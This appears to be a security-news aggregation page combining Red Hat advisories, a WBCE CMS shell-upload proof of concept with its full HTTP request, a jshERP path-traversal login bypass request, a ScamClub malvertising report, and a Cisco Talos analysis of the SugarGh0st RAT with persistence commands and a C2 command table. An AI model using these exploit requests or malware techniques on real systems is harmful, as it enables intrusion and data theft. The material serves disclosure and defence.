Red Hat Security Advisory 2023-7341-01 - An update is now available for Red Hat Quay 3.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_7341.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: Red Hat Quay security update  
Advisory ID:        RHSA-2023:7341-01  
Product:            Red Hat Quay  
Advisory URL:       https://access.redhat.com/errata/RHSA-2023:7341  
Issue date:         2023-11-30  
Revision:           01  
CVE Names:          CVE-2023-23931  
====================================================================

Summary: 

An update is now available for Red Hat Quay 3.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

An update is now available for Red Hat Quay 3.

Security Fix(es):

* python-werkzeug: high resource usage when parsing multipart form data with many fields (CVE-2023-25577)

* flask: Possible disclosure of permanent session cookie due to missing Vary: Cookie header (CVE-2023-30861)

* python-cryptography: memory corruption via immutable objects (CVE-2023-23931)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2023-23931

References:

https://access.redhat.com/security/updates/classification/#important  
https://bugzilla.redhat.com/show_bug.cgi?id=2170242  
https://bugzilla.redhat.com/show_bug.cgi?id=2171817  
https://bugzilla.redhat.com/show_bug.cgi?id=2196643  
https://issues.redhat.com/browse/PROJQUAY-2462  
https://issues.redhat.com/browse/PROJQUAY-2803  
https://issues.redhat.com/browse/PROJQUAY-3906  
https://issues.redhat.com/browse/PROJQUAY-4126  
https://issues.redhat.com/browse/PROJQUAY-5021  
https://issues.redhat.com/browse/PROJQUAY-5212  
https://issues.redhat.com/browse/PROJQUAY-5489  
https://issues.redhat.com/browse/PROJQUAY-5506  
https://issues.redhat.com/browse/PROJQUAY-5598  
https://issues.redhat.com/browse/PROJQUAY-5957  
https://issues.redhat.com/browse/PROJQUAY-5958  
https://issues.redhat.com/browse/PROJQUAY-5959  
https://issues.redhat.com/browse/PROJQUAY-5960  
https://issues.redhat.com/browse/PROJQUAY-5963  
https://issues.redhat.com/browse/PROJQUAY-6010  
https://issues.redhat.com/browse/PROJQUAY-6048  
https://issues.redhat.com/browse/PROJQUAY-6184

Red Hat Security Advisory 2023-7341-01

WBCE CMS version 1.6.1 suffers from a remote shell upload vulnerability.

# Exploit Title: WBCE CMS Version : 1.6.1  Remote Command Execution  
# Date: 30/11/2023  
# Exploit Author: tmrswrr  
# Vendor Homepage: https://wbce-cms.org/  
# Software Link: https://github.com/WBCE/WBCE_CMS/archive/refs/tags/1.6.1.zip  
# Version: 1.6.1  
# Tested on: https://www.softaculous.com/apps/cms/WBCE_CMS

## POC:

1 ) Login with admin cred and click Add-ons  
2 ) Click on Language > Install Language  > https://demos6.softaculous.com/WBCE_CMSgn4fqnl8mv/admin/languages/index.php  
3 ) Upload upgrade.php > <?php echo system('id'); ?> , click install > https://demos6.softaculous.com/WBCE_CMSgn4fqnl8mv/admin/languages/install.php  
4 ) You will be see id command result 

Result: 

uid=1000(soft) gid=1000(soft) groups=1000(soft) uid=1000(soft) gid=1000(soft) groups=1000(soft) 

### Post Request:

POST /WBCE_CMSgn4fqnl8mv/admin/languages/install.php HTTP/1.1  
Host: demos6.softaculous.com  
Cookie: _ga_YYDPZ3NXQQ=GS1.1.1701347353.1.1.1701349000.0.0.0; _ga=GA1.1.1562523898.1701347353; AEFCookies1526[aefsid]=jefkds0yos40w5jpbhl6ue9tsbo2yhiq; demo_390=%7B%22sid%22%3A390%2C%22adname%22%3A%22admin%22%2C%22adpass%22%3A%22pass%22%2C%22url%22%3A%22https%3A%5C%2F%5C%2Fdemos4.softaculous.com%5C%2FImpressPagesgwupshhfxk%22%2C%22adminurl%22%3A%22https%3A%5C%2F%5C%2Fdemos4.softaculous.com%5C%2FImpressPagesgwupshhfxk%5C%2Fadmin.php%22%2C%22dir_suffix%22%3A%22gwupshhfxk%22%7D; demo_549=%7B%22sid%22%3A549%2C%22adname%22%3A%22admin%22%2C%22adpass%22%3A%22password%22%2C%22url%22%3A%22https%3A%5C%2F%5C%2Fdemos1.softaculous.com%5C%2FBluditbybuxqthew%22%2C%22adminurl%22%3A%22https%3A%5C%2F%5C%2Fdemos1.softaculous.com%5C%2FBluditbybuxqthew%5C%2Fadmin%5C%2F%22%2C%22dir_suffix%22%3A%22bybuxqthew%22%7D; demo_643=%7B%22sid%22%3A643%2C%22adname%22%3A%22admin%22%2C%22adpass%22%3A%22password%22%2C%22url%22%3A%22https%3A%5C%2F%5C%2Fdemos6.softaculous.com%5C%2FWBCE_CMSgn4fqnl8mv%22%2C%22adminurl%22%3A%22https%3A%5C%2F%5C%2Fdemos6.softaculous.com%5C%2FWBCE_CMSgn4fqnl8mv%5C%2Fadmin%22%2C%22dir_suffix%22%3A%22gn4fqnl8mv%22%7D; phpsessid-5505-sid=576d8b8dd92f6cabe3a235cb359c9b34; WBCELastConnectJS=1701349503; stElem___stickySidebarElement=%5Bid%3A0%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A1%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A2%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A3%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A4%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A5%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A6%5D%5Bvalue%3AnoClass%5D%23  
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: https://demos6.softaculous.com/WBCE_CMSgn4fqnl8mv/admin/languages/index.php  
Content-Type: multipart/form-data; boundary=---------------------------86020911415982314764024459  
Content-Length: 522  
Origin: https://demos6.softaculous.com  
Dnt: 1  
Upgrade-Insecure-Requests: 1  
Sec-Fetch-Dest: document  
Sec-Fetch-Mode: navigate  
Sec-Fetch-Site: same-origin  
Sec-Fetch-User: ?1  
Te: trailers  
Connection: close

-----------------------------86020911415982314764024459  
Content-Disposition: form-data; name="formtoken"

5d3c9cef-003aaa0a62e1196ebda16a7aab9a0cf881b9370c  
-----------------------------86020911415982314764024459  
Content-Disposition: form-data; name="userfile"; filename="upgrade.php"  
Content-Type: application/x-php

<?php echo system('id'); ?>

-----------------------------86020911415982314764024459  
Content-Disposition: form-data; name="submit"

-----------------------------86020911415982314764024459--

### Response : 



  
<div class="row" style="overflow:visible">  
<div class="fg12">  
<table id="former_positioning_table">  
<tr>  
    <td class="content">  
uid=1000(soft) gid=1000(soft) groups=1000(soft)  
uid=1000(soft) gid=1000(soft) groups=1000(soft)  
    <div class="top alertbox_error fg12 error-box">  
        <i class=" fa fa-2x fa-warning signal"></i>

                    <p>Invalid WBCE CMS language file. Please check the text file.</p>

                            <p><a href="index.php" class="button">Back

WBCE CMS 1.6.1 Shell Upload

Incorrect Access Control vulnerability in jshERP V3.3 allows attackers to obtain sensitive information via the doFilter function.

1.The affected source code file is src/main/java/com/jsh/erp/filter/LogCostFilter.java,and the affected function is doFilter.

In the filter code, use servletRequest.getRequestURI() to obtain the request path, and then determine whether the path contains /doc.html, /user/login, /user/register. If so, execute chain.doFilter(request, response) to skip this filter. Else, continue to check.

Then determine whether the path startswith allowUrls. If so, execute chain.doFilter(request, response) to skip this filter.

See the screenshot below for the value of allowUrls  
  

2.The problem lies in using servletRequest.getRequestURI() to obtain the request path. The path obtained by this function will not parse special symbols, but will be passed on directly, so you can use ../ to bypass it. Taking one of the backend interfaces /jshERP-boot/user/getAllList as an example, using /user/login/../../jshERP-boot/user/getAllList can make it satisfy requestUrl.contains("/user/login" ), and at the same time, it can request the getAllList interface to achieve login bypass.

3.The Poc is as follows:

    GET /user/login/../../jshERP-boot/user/getAllList HTTP/1.1
    Host: 192.168.124.1:9999
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    

When accessing the /jshERP-boot/user/getAllList interface directly, it will return "loginOut".  

When accessing the /user/login/../../jshERP-boot/user/getAllList interface, the user information can be obtained by bypassing the access control,whice also includes user passwords.

CVE-2023-48894: There is an Incorrect Access Control vulnerability in jshERP V3.3 that lead to the leakage of sensitive information in the backend system · Issue #98 · jishenghua/jshERP

A fake antivirus alert may suddenly hijack your screen while browsing. This latest malvertising campaign hit top publishers.

ScamClub is a threat actor who’s been involved in malvertising activities since 2018. Chances are you probably ran into one of their online scams on your mobile device.

Confiant, the firm that has tracked ScamClub for years, released a comprehensive report in September while also disrupting their activities. However, ScamClub has been back for several weeks, and more recently they were behind some very high profile malicious redirects.

The list of affected publishers includes the Associated Press, ESPN and CBS, where unsuspecting readers are automatically redirected to a fake security alert connected to a malicious McAfee affiliate.

ScamClub is resourceful and continues to have a deep impact on the ad ecosystem. While we could not identify precisely which entity served the ad, we have reported the website used to run the fake scanner to Cloudflare which immediately took action and flagged it as phishing.

**Forced redirects**

Mastodon user Blair Strater (@r000t@fosstodon.org) was simply browsing the Associated Press website on his phone when he was suddenly redirected to a fake security scan page:

Malicious redirect from APnews.com (credit Blair Strater)

This fake scanner is not run by McAfee, but the domain name _systemmeasures\[.\]life_ that we see in the address bar is the landing page that redirects to one of its affiliates. That affiliate was previously reported but continues unabated.

Web traffic between malicious page and McAfee site

Based on public data, several ad exchanges were abused to deliver this fake antivirus campaign via real-time bidding (RTB) in the past few weeks Most of the telemetry we saw from our Malwarebytes user base was related to smaller websites with ‘risky’ advertisers. However, a different campaign was targeting mobile users with malicious ads slipping by on top publishers (note: this data comes from VirusTotal):

**ESPN.COM (1.585B monthly visits)**

systemmeasures\[.\]life/avs/en/mob/**mcafee-2**.php?c=5uz3hbaiz7oz2&k=b47648817b492be8ba9c7dc97addefb6&country\_code=US&carrier=Verizon&country\_name=United%20States&region=New%20York&city=Bronx&isp=MCI%20Communications%20Services,%20Inc.%20d/b/a%20Verizon%20Business&lang=en&ref\_domain=**www.espn.com**&os=**iOS**&osv=17&browser=Chrome&browserv=119&brand=Apple&model=iPhone&marketing\_name=iPhone&tablet=2&rheight=0&rwidth=0&e=5

**APNEWS.COM (307.2M monthly visits)**

systemmeasures\[.\]life/avs/en/mob/**mcafee-2**.php?c=59z40b4g6z7oz2&k=506222e0611d62c3261b9ba847063faa&country\_code=US&carrier=-&country\_name=United%20States&region=Virginia&city=Alexandria&isp=Comcast%20Cable%20Communications,%20LLC&lang=en&ref\_domain=**apnews.com**&os=**Android**&osv=10.&browser=Chrome&browserv=119&brand=unknown&model=unknown&marketing\_name=K&tablet=2&rheight=0&rwidth=0&e=5

**CBSSPORTS.COM (265.1M monthly visits)**

systemmeasures\[.\]life/avs/en/mob/**mcafee-2**.php?c=5uz16jptz7oz2&k=d2761f12fed2ce8472ab704fd55d49e1&country\_code=US&carrier=-&country\_name=United%20States&region=Colorado&city=Greenwood%20Village&isp=Charter%20Communications%20Inc&lang=en&ref\_domain=**www.cbssports.com**&os=**Android**&osv=10.&browser=Chrome&browserv=119&brand=unknown&model=unknown&marketing\_name=K&tablet=2&rheight=0&rwidth=0&e=5

Most of the public reports (\[1\], \[2\], \[3\]) indicate this campaign was at its peak around **November 19**. To be clear, AP, ESPN, CBS and other sites were not hacked, but rather showed malicious ads. It appears that this high profile campaign stopped shortly after, as we haven’t seen new telemetry data coming from these publishers. However, the other campaign we are also monitoring that is affecting smaller sites is still ongoing (via _eu\[.\]vulnerabilityassessments.life_ and _us.vulnerabilityassessments\[.\]life_).

**Connection with ScamClub**

We were able to connect this campaign to the ScamClub infrastructure because of another domain (_trackmaster\[.\]cc_) that was previously mentioned as belonging to the threat actor. We can see the relationship between _systemmeasures\[.\]life_ (the landing page) and _trackmaster\[.\]cc_ (the intermediary domain) in the urlscanio submission below:

urlscanio scan showing the relationship between two domains

**Fingerprinting**

Like other malvertising threat actors, ScamClub dabbles in obfuscation and evasion techniques. However, as previously detailed by Confiant, they are using much more advanced tricks. Their JavaScript uses obfuscation with changing variable names, making identification harder.

Previously, the malicious JavaScripts were hosted on Google’s cloud but they have now moved to Azure’s CDN.

ScamClub’s malicious JavaScript

**Malvertising and mobile users**

On this blog, we have covered a number of malvertising campaigns targeting Desktop, both consumer and enterprise. This is in part because we hunt for Windows malware and the occasional Mac ones too.

ScamClub is a good example of targeting a big market segment, Mobile Web, where security software is often an afterthought, in particular on iOS, in part due to restrictions imposed by Apple. Clearly, malvertising is flourishing on Mobile and users are just as likely, if not more, to get tricked into downloading malware or get scammed.

Malwarebytes for Android protects users from this campaign:

**Indicators of Compromise**

**ScamClub URLs**

octob\[.\]azureedge\[.\]net/oc.js
lzi\[.\]azureedge\[.\]net/lz.js
tinlc\[.\]azureedge\[.\]net/pt.js
bm-rb\[.\]azureedge.net/rb.js
foluo\[.\]azureedge\[.\]net/fo.js
vpv-ger\[.\]azureedge\[.\]net/VpaidVideoAd1.js

**ScamClub JavaScript hashes**

c01716e23f633b206147efbe70fb37945e3857d6575fd088ea50106fb541cf1e  
899cbfbd676159201b2281d9e0e66f3ac200ac58b674375bde04083ff87650ad  
451b48c8f247f25cd09a1bf4a52fc195a74830d88bd2ffed7a5d4b7830e10621  
495304b489cecd33188ca2a7407d397996fd82ea99966e7c145f0dc67ab2dfb5  
a616fc2c1a075170d4decdb9d3c9ad15f2cfbcfda78dbe4c60d72132b9d006c9  
34f15ec739df72f5ac245db3fff11ea56407e95b94e24bbb820d7999032866d8  
a7a73d3bc716346808b2ee8070dfe5842bb01e10aee1fa9ba87fb975d71d0f4f  
de2f1745cdfbe58266b804961bdbd5be8f533843ed7fdf4b5fe6eb0060876b56  
1614786dd6ff4189975e8226ab7e68d258817b435c3c4e145951f5147699878e  
52cd9f2ff282354c77087b204d5cb32cee9066e8eea4e3c3b8f7cf4d3d3fa20f  
df03df284bfbbe006383f26c0c91394f4c4c8d915d04b868a00954f63e6163e0  
2f3867d33c448b941278671df9a2b8d3d6b29dec5d74b67654f5edfcc6771575  
243d9d70703644f3df148e7633f3ec461a9c43149ea58fd547e2e6fd0c47cce5

**Redirectors**

trackmaster\[.\]cc  
protectsystemtools\[.\]life  
securitypatch\[.\]life  
real-time-system-monitoring\[.\]life  
threatdetectorhub\[.\]life  
threatdetectorhub\[.\]online  
vulnerabilityassessments\[.\]life  
strike-it-lucky\[.\]space  
golden-opportunity\[.\]xyz  
stroke-of-luck\[.\]xyz  
blessed-with-luck\[.\]space  
system-scan-tool\[.\]space  
system-security-scan\[.\]buzz  
system-security-scan\[.\]net  
system-scan-tool\[.\]online  
trk6\[.\]kokamedia\[.\]com  
tracklinker\[.\]space  
trackmenow\[.\]life  
trackify\[.\]world  
trackinghub\[.\]info  
trkmyclk\[.\]xyz  
trk-server\[.\]xyz

34.74.68\[.\]195

**Scam landing pages**

systemmeasures\[.\]life
xyzcreators\[.\]xyz

 Associated Press, ESPN, CBS among top sites serving fake virus alerts 

Cisco Talos recently discovered a malicious campaign that likely started as early as August 2023, delivering a new remote access trojan (RAT) we dubbed “SugarGh0st.”

*   Cisco Talos recently discovered a malicious campaign that likely started as early as August 2023, delivering a new remote access trojan (RAT) we dubbed “SugarGh0st.” 
*   We found evidence suggesting the threat actor is targeting the Uzbekistan Ministry of Foreign Affairs and users in South Korea. 
*   We assess with high confidence that the SugarGh0st RAT is a new customized variant of Gh0st RAT, an infamous trojan that’s been active for more than a decade, with customized commands to facilitate the remote administration tasks as directed by the C2 and modified communication protocol based on the similarity of the command structure and the strings used in the code.
*   We observed two infection chains leveraging Windows Shortcut embedded with malicious JavaScript to deliver the components to drop and launch the SugarGh0st payload.
*   In one infection chain, the actor leverages the DynamixWrapperX tool to enable Windows API function calls in malicious JavaScript for running the shellcode.
*   Talos assesses with low confidence that a Chinese-speaking threat actor is operating this campaign based on the artifacts we found in the attack samples.

**Suspected Chinese Actor targeting Uzbekistan and South Korea**

Talos discovered four samples deployed in this campaign that are likely targeting users in Uzbekistan and South Korea based on the language of the decoy documents, the lure content, and distribution indicators Talos found in the wild. 

One of the samples is sent to users in the Ministry of Foreign Affairs of Uzbekistan. The sample is an archive embedded with a Windows ShortCut LNK file which, upon opening, drops the decoy document “Investment project details.docx'' with Uzbek content about a presidential decree in Uzbekistan focused on enhancing state administration in technical regulation. The lure content of the decoy document was published in multiple Uzbekistan sources in 2021. The initial vector of the campaign is likely a phishing email with an attached malicious RAR archive file sent to an employee of the Ministry of Foreign Affairs.  

Decoy document in Uzbek language.

Besides Uzbekistan, we also observed indications of targets in South Korea. We found three other decoy documents written in Korean dropped by the malicious JavaScript file embedded in the Windows Shortcut, seemingly distributed in South Korea. The decoy document named “Account.pdf” was forged as a Microsoft account security notification for confirming an account registration with a generated password. Another decoy named “MakerDAO MKR approaches highest since August.docx'' uses the copied content from 코인데스크코리아 (CoinDesk Korea, a Korean news outlet that covers the blockchain). The third decoy document, named “Equipment\_Repair\_Guide.docx,” has the lure information with instructions for computer maintenance in an organization. To reinforce our assessment of South Korean targets, we also observed C2 domain requests from IPs originating from South Korea. 

The decoy documents found in the samples collected by Talos.

During our analysis, we observed a couple of artifacts that suggested the actor might be Chinese-speaking. Two of the decoy files we found have the “last modified by” names shown as “浅唱丶低吟” (Sing lightly, croon) and “琴玖辞” (seems to be the name of a Chinese novel author), which are both Simplified Chinese. 

The author and last editor’s information on decoy documents.

Besides the decoy document metadata, the actor prefers using SugarGh0st, a Gh0st RAT variant. The Gh0st RAT malware is a mainstay in the Chinese threat actors’ arsenal and has been active since at least 2008. Chinese actors also have a history of targeting Uzbekistan. The targeting of the Uzbekistan Ministry of Foreign Affairs also aligns with the scope of Chinese intelligence activity abroad. 

**SugarGh0st is a new Gh0st RAT variant**

Talos discovered a RAT that we call SugarGh0st delivered as a payload in this campaign. Talos assesses with high confidence that SugarGh0st is a customized variant of the Gh0st RAT. Gh0st RAT was developed by a Chinese group called 红狼小组 (C.Rufus Security Team), and its source code was publicly released in 2008. The public release of the source code has made it easy for threat actors to get access to it and tailor it to fulfill their malicious intentions. There are several variants of Gh0st RAT in the threat landscape, and it remains a preferred tool for many Chinese-speaking actors, allowing them to conduct surveillance and espionage attacks.

Compared with the original Gh0st malware, SugarGh0st is equipped with some customized features in its reconnaissance capability in looking for specific Open Database Connectivity (ODBC) registry keys, loading library files with specific file extensions and function name, customized commands to facilitate the remote administration tasks directed by the C2, and to evade earlier detections. The C2 communication protocol is also modified. The first eight bytes of the network packet header are reserved as magic bytes versus the first five in the earlier Gh0st RAT variants. The remaining features, including taking full remote control of the infected machine, providing real-time and offline keylogging, hooks to the webcam of an infected machine, and downloading and running other arbitrary binaries on the infected host are aligned with the features of earlier Gh0st RAT variants. 

**A multi-stage infection chain **

Talos discovered two different infection chains employed by the threat actor to target the victims in this campaign. One of the infection chains decrypts and executes the SugarGh0st RAT payload, the customized variant of the Gh0st RAT. Another infection chain leverages the DynamicWrapperX loader to inject and run the shellcode that decrypts and executes SugarGh0st. 

**Infection Chain No. 1**

The first infection chain starts with a malicious RAR file containing a Windows Shortcut file with a double extension. When a victim opens the shortcut file, it runs a command to drop and execute an embedded JavaScript file. The JavaScript eventually drops a decoy, an encrypted SugarGh0st payload, DLL loader and batch script. Then, the JavaScript executes the batch script to run the dropped DLL loader by sideloading it with a copied rundll32. The DLL loader will decrypt the encrypted SugarGh0st payload in memory and run it reflectively. 

**Shortcut file embedded with malicious JavaScript dropper**

The Windows shortcut file discovered in this attack is embedded with JavaScript and has command line arguments to drop and execute it. Upon the victim opening the LNK file, the command line argument of the LNK file runs to locate and load the JavaScript with the string start of “var onm=” which is the beginning of the JavaScript dropper and drops the JavaScript into the %temp% location. After that, the dropped JavaScript is executed using the living-off-the-land binary (LoLBin) cscript. 

Sample of malicious LNK file.

**JavaScript dropper **

The JavaScript dropper is a heavily obfuscated script embedded with base64 encoded data of the other components of the attack. The JavaScript decodes and drops the embedded files into the %TEMP% folder, including a batch script, a customized DLL loader, an encrypted SugarGh0st payload, and a decoy document. It first opens the decoy document to masquerade as legitimate action, then copies the legitimate rundll32 executable from the “Windows\\SysWow64” folder into the %TEMP% folder. Finally, it executes the batch script loader from the %TEMP% location and runs the customized DLL loader. The JavaScript deleted itself from the file system afterward. 

The JavaScript dropper.

**Batch script loader**

The batch script, in this instance, is named “ctfmon.bat” and has the commands to run the dropped customized DLL loader. When executed, it sideloads the DLL loader with rundll32.exe and executes the function which is DllUnregisterServer, typically used by COM (Component Object Model) DLLs.

The batch script loader.

**DLL Loader decrypts and reflectively loads the SugarGh0st payload**

The customized DLL loader named “MSADOCG.DLL” (name of the DLL associated with Microsoft's ActiveX Data Objects (ADO) technology) is a 32-bit DLL written in C++ and implemented as a COM object component. The loader includes packed code that is unpacked with custom unpacking code. When the DLL is run, it unpacks the code to read the dropped encrypted SugarGh0st payload file named “DPLAY.LIB '' from the %TEMP% location, decrypts it and runs it in the memory. 

Stub code to unpack code.

Function to load the encrypted payload.

**Infection chain No. 2**

Similar to the first infection chain, this attack also starts with a RAR archive file containing a malicious Windows Shortcut file forged as the decoy document. The Windows shortcut file, by executing the embedded commands, drops the JavaScript dropper file into the %TEMP% location and executes it with cscript. The JavaScript in this attack drops a decoy document, a legitimate DynamicWrapperX DLL, and the encrypted SugarGh0st. The JavaScript uses the legitimate DLL to enable running the embedded shellcode for running the SugarGh0st payload. 

**JavaScript leverages DynamicWrapperX to run shellcode that launches SugarGh0st**

The JavaScript used in this infection chain is also heavily obfuscated and is embedded with base64-encoded data of other components of the attack, including a shellcode. When the JavaScript is executed, it drops an encrypted SugarGh0st, a DLL called “libeay32.dll” and the decoy document. The JavaScript opens the decoy document and copies Wscript.exe to the %TEMP% folder as dllhost.exe. It runs the dropped JavaScript again using the dllhost.exe and creates a registry subkey called “CTFMON.exe” in the Run registry key to establish persistence. 

Registry Key

HKEY\_CURRENT\_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run

Subkey

CTFMON.exe

Value

“cmd /c start C:\\Users\\user\\AppData\\Local\\Temp\\dllhost.exe C:\\Users\\user\\AppData\\Local\\Temp\\~204158968.js”

The file “libeay32.dll” is a tool called DynamicWrapperX (originally named “dynwrapx.dll”) developed by Yuri Popov. This tool is an ActiveX component that enables Windows API function calls in scripts (JScript, VBScript, etc.). The attacker can use this to run shellcode via the JavaScript dropper. But, they must first run regsvr.exe to install the component. 

C:\\Windows\\system32\\regsvr32 /i /s C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\libeay32.dll

The DynamicWrapperX DLL registers its member functions in the victim’s machine by creating a registry subkey CLSID with the value “89565275-A714-4a43-912E-978B935EDCCC” in Software\\Classes\\DynamicWrapperX registry key. The JavaScript containing the ActiveX components executes the embedded shellcode using the DynamixWrapperX DLL. 

The shellcode has the API hashes and instructions to load and map to the functions necessary for process injection from Kernel32.dll. It also loads two other DLLs, User32.dll and shlwapi.dll. Then, it loads the encrypted SugarGh0st “libeay32.lib” from the %TEMP% location, decrypts it, and reflectively loads it into the memory space allocated in the dllhost.exe process. 

Shellcode that loads and decrypts the encrypted SugarGh0st. 

**Analysis of SugarGh0st   **

The SugarGh0st sample analyzed by Cisco Talos is a 32-bit dynamic link library in C++ compiled on Aug. 23, 2023. During its initial execution, SugarGh0st creates a mutex on the victim’s machine using the hard-coded C2 domain as an infection marker and starts the keylogging function. The keylogger module creates a folder “WinRAR'' in the location %Program Files% and writes the keylogger file “WinLog.txt.” 

The Keylogging function of SugarGh0st.

SugarGh0st uses “WSAStartup” functions, a hardcoded C2 domain and port to establish the connection to the C2 server. Talos discovered two C2 domains, login\[.\]drive-google-com\[.\]tk and account\[.\]drive-google-com\[.\]tk, used by the threat actor in this campaign.

The C2 communication function of SugarGh0st.

After launching, SugarGh0st attempts to establish the connection to C2 every 10 seconds. If successful, the first outgoing packet always consists of the same eight bytes “0x000011A40100” as a heartbeat. After the heartbeat is successfully sent, SugarGh0st sends the buffer data, which includes the following:

*   Computer name
*   Operating system version 
*   Root and other drive information of victim machine
*   Registry key “HKEY\_LOCAL\_MACHINE\\Software\\ODBC\\H” if exist
*   Campaign codes 1 (Month and Year) and code 2 (in our samples are “default”)
*   Windows version number
*   Root drive’s volume serial number

A sample packet that was sent by SugarGh0st to C2.

SugarGh0st is a fully functional backdoor that can execute most remote control functionalities. It can launch the reverse shell and run the arbitrary commands sent from C2 as strings using the command shell.

The Reverse shell function.

SugarGh0st can collect the victim’s machine hostname, filesystem, logical drive and operating system information. It can access the running process information of the victim’s machine and control the environment by accessing the process information and terminating the process as directed by the C2 server. 

It can also manage the machine’s service manager by accessing the configuration files of the running services and can start, terminate or delete the services.

Function to operate services.

SugarGh0st can take screenshots of the victim machine’s current desktop and switch to multiple windows. It can access the victim’s machine camera to capture the screen and compress the captured data before sending it to the C2 server. SugarGh0st can perform various file operations, including searching, copying, moving and deleting the files on the victim’s machine.

It also clears the machine’s Application, Security and System event logs to hide the malicious operations logged to evade detection. 

Function to clean event logs.

SugarGh0st performs the remote control functionalities, including those discussed earlier, as directed by the C2 server with the four-byte hex commands and accompanying data. 

**Command**

**Action**

0x20000001

Adjust process privilege to “SeShutdownPrivilege” and force shut down the host.

0x20000002

Adjust process privilege to “SeShutdownPrivilege” and force reboot the host.

0x20000003

Adjust process privilege to “SeShutdownPrivilege” and force terminate the processes.

0x20000004

Clear event log

0x20000005

Create register key HKEY\_LOCAL\_MACHINE\\Software\\ODBC\\H

0x20000011

Press a key in the default window 

0x20000012

Release a key in the default window 

0x20000013

Set mouse cursor position

0x20000014

Click mouse left button

0x20000015

Release mouse left button

0x20000016

Double click the mouse left button

0x20000017

Click mouse right button

0x20000018

Release mouse right button

0x20000019

Double click the mouse left button

0x21000002

Get the logical drive information of the victim's machine. 

  

0x21000003

Search files on the victims machine filesystem

0x21000004

Delete files on the victim's machine file system

0x21000005

Moves files to the %TEMP% location 

0x21000006

Runs arbitrary shell commands

0x21000007

Copies files on the victim machine 

0x21000008

Move files on the victim's machine

0x21000009

Sends files to the C2 server 

0x2100000A

Sends the data to the windows socket

0x2100000B

Receives files from the C2 server

0x22000001

Sends the screenshot to the C2 server

0x24000001

Read file %ProgramFiles%/WinRAR/~temp.dat (which is encoded with XOR 0x62)

0x24000002

Delete file %ProgramFiles%/WinRAR/~temp.dat

0x23000000

Provides the reverse shell access to the C2 server 

0x25000000

Gets the process information and terminates the process 

0x25000001

Enumerate process information

0x25000002

Terminate Process

0x25000003

Access the victims machine service manager 

0x25000004

Access the configuration files of the running services

0x25000005

Starting service

0x25000006

Terminating and deleting the services. 

0x25000010

Performs the Windows operations

0x25000011

Get window list

0x25000012

Get message from Window

0x28000000

Capture window and perform a series of Window operations based on the command with SendMessage API.

0x28000002

Find a . OLE file under “%PROGRAMFILES%\\\\Common Files\\\\DESIGNER'' and launch

**Coverage**

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.

Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.

Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. Snort SIDs for this threat is 62647.

ClamAV detections available for this threat:

Win.Trojan.SugarGh0stRAT-10014937-0

Win.Tool.DynamicWrapperX-10014938-0

Txt.Loader.SugarGh0st\_Bat-10014939-0

Win.Trojan.SugarGh0stRAT-10014940-0

Lnk.Dropper.SugarGh0stRAT-10014941-0

Js.Trojan.SugarGh0stRAT-10014942-1

Win.Loader.Ramnit-10014943-1

Win.Backdoor.SugarGh0stRAT-10014944-0

**Orbital Queries**

Cisco Secure Endpoint users can use Orbital Advanced Search to run complex OSqueries to see if their endpoints are infected with this specific threat. For specific OSqueries related to this threat, please follow the links:

*   SugarGh0st RAT file detected
*   SugarGh0st RAT Registry key 

**Indicators of Compromise**

Indicators of Compromise associated with this threat can be found here.

New SugarGh0st RAT targets Uzbekistan government and South Korea

Red Hat Security Advisory 2023-7587-01 - An update is now available for IBM Business Automation Manager Open Editions including images for Red Hat OpenShift Container Platform. Issues addressed include a denial of service vulnerability.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_7587.json

